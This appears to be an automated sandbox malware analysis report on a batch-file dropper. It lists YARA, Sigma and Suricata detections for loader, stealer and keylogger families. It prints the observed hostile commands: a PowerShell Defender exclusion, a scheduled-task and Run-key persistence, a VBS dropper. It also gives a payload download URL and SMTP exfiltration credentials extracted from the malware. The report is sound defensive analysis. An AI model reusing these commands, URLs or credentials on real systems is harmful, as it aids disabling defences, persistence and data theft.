10.3.rpkhzpuO.pif.2d0de3e8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.26486478.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
13.0.Microsofts.exe.350000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
13.0.Microsofts.exe.350000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.0.Microsofts.exe.350000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.0.Microsofts.exe.350000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x101cd:$a1: get_encryptedPassword 0x10509:$a2: get_encryptedUsername 0xff5a:$a3: get_timePasswordChanged 0x1007b:$a4: get_passwordField 0x101e3:$a5: set_encryptedPassword 0x11bb3:$a7: get_logins 0x11864:$a8: GetOutlookPasswords 0x11642:$a9: StartKeylogger 0x11b03:$a10: KeyLoggerEventArgs 0x1169f:$a11: KeyLoggerEventArgsEventHandler
13.0.Microsofts.exe.350000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x15423:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x14921:$a3: \Google\Chrome\User Data\Default\Login Data 0x14c2f:$a4: \Orbitum\User Data\Default\Login Data 0x15a27:$a5: \Kometa\User Data\Default\Login Data
29.2.rpkhzpuO.pif.250f0f08.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.34b30000.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.32f75570.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.343b0000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.250f0000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.250f0f08.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.264c3d90.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.264c3d90.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.26485570.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.32f75570.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.25380000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.24ed4e5e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.3.rpkhzpuO.pif.2ffbae98.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.x.exe.22665a8.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 49 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 5776, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\rpkhzpuO.pif, NewProcessName: C:\Users\Public\Libraries\rpkhzpuO.pif, OriginalFileName: C:\Users\Public\Libraries\rpkhzpuO.pif, ParentCommandLine: C:\Users\user\AppData\Local\Temp\x.exe, ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 5776, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, ProcessId: 1012, ProcessName: rpkhzpuO.pif

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 5776, TargetFilename: C:\Windows \SysWOW64\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Oupzhkpr.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 5776, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Oupzhkpr

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Oupzhkpr.PIF" , ParentImage: C:\Users\Public\Libraries\Oupzhkpr.PIF, ParentProcessId: 880, ParentProcessName: Oupzhkpr.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 6896, ProcessName: cmd.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 4064, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 528, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, ProcessId: 800, ProcessName: cscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, ProcessId: 800, ProcessName: cscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, ProcessId: 800, ProcessName: cscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Oupzhkpr.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 5776, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Oupzhkpr

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\rpkhzpuO.pif, NewProcessName: C:\Users\Public\Libraries\rpkhzpuO.pif, OriginalFileName: C:\Users\Public\Libraries\rpkhzpuO.pif, ParentCommandLine: C:\Users\user\AppData\Local\Temp\x.exe, ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 5776, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\rpkhzpuO.pif, ProcessId: 1012, ProcessName: rpkhzpuO.pif

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ProcessId: 4064, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f, CommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 4064, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f, ProcessId: 6064, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs, ProcessId: 800, ProcessName: cscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe, ParentProcessId: 4064, ParentProcessName: Trading_AIBot.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' , ProcessId: 528, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:09:49.222732+0100	2028371	3	Unknown Traffic	192.168.2.6	49813	41.185.8.252	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:09:58.095403+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49860	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lwaziacademy.com/wps/200_Oupzhkprnvw	Avira URL Cloud: Label: malware
Source: https://lwaziacademy.com:443/wps/200_Oupzhkprnvw	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Avira: detection malicious, Label: HEUR/AGEN.1326019
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\x.exe	Avira: detection malicious, Label: HEUR/AGEN.1326019
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 13.0.Microsofts.exe.350000.0.unpack	Malware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "server1@massmaesure.com", "Password": "london@1759", "Server": "lax029.hawkhost.com", "To": "server2@massmaesure.com", "Port": 587}
Source: Oupzhkpr.PIF.6.dr	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://lwaziacademy.com/wps/200_Oupzhkprnvw"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\x.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: PO#3_RKG367.bat

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 24.2.rpkhzpuO.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 29.2.rpkhzpuO.pif.400000.0.unpack

Source: unknown

HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49866 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.2.6:49813 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000002.2716549443.000000002FFA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, 00000006.00000002.2533914896.000000007F1A0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020A79000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC50000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000AE0000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A16000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: rpkhzpuO.pif, 0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000003.2636484466.000000002FFF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: rpkhzpuO.pif, 00000018.00000002.2716549443.000000002FFDB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000006.00000003.2437138708.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F1A0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437138708.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020A79000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC50000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000AE0000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588114567.0000000000822000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588114567.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A16000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000003.2749710698.0000000000723000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000003.2749710698.00000000006FA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

6_2_02C358B4

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then jmp 00F17394h	12_2_00F17099
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then jmp 00F17CDCh	12_2_00F17A7A
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	12_2_00F17E58
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	12_2_00F17E4C
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00BB9731h	13_2_00BB9480
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00BB9E5Ah	13_2_00BB9A40
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00BB9731h	13_2_00BB35FD
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00BB9E5Ah	13_2_00BB9A30
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 00BB9E5Ah	13_2_00BB9D87
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C62B5h	13_2_051C60D8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C6C3Fh	13_2_051C60D8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C3840h	13_2_051C3598
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C18A0h	13_2_051C15F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C26E0h	13_2_051C2438
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov esp, ebp	13_2_051C947A
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C0740h	13_2_051C0498
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C49A0h	13_2_051C46F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C33E8h	13_2_051C3140
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C1448h	13_2_051C11A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_051C51E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C02E8h	13_2_051C0040
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C4548h	13_2_051C42A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C0FF0h	13_2_051C0D48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C2F90h	13_2_051C2CE8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C40F0h	13_2_051C3E48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C2152h	13_2_051C1EA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_051C59FB
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C3C98h	13_2_051C39F0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_051C581B
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C2B38h	13_2_051C2890
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C0B98h	13_2_051C08F0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C4DF8h	13_2_051C4B50
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 4x nop then jmp 051C1CF8h	13_2_051C1A50
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 4x nop then jmp 0584BCBDh	30_2_0584BA40
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 4x nop then jmp 0584BCBDh	30_2_0584BD43

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://lwaziacademy.com/wps/200_Oupzhkprnvw

Potential malicious VBS script found (has network functionality)

Source: C:\Windows\System32\cmd.exe

Dropped file: b.SaveToFile p+"\x.exe",2'v

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C4E2F8 InternetCheckConnectionA,

6_2_02C4E2F8

Source: global traffic

HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View

ASN Name: GridhostZA GridhostZA

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49813 -> 41.185.8.252:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49860 -> 158.101.44.242:80

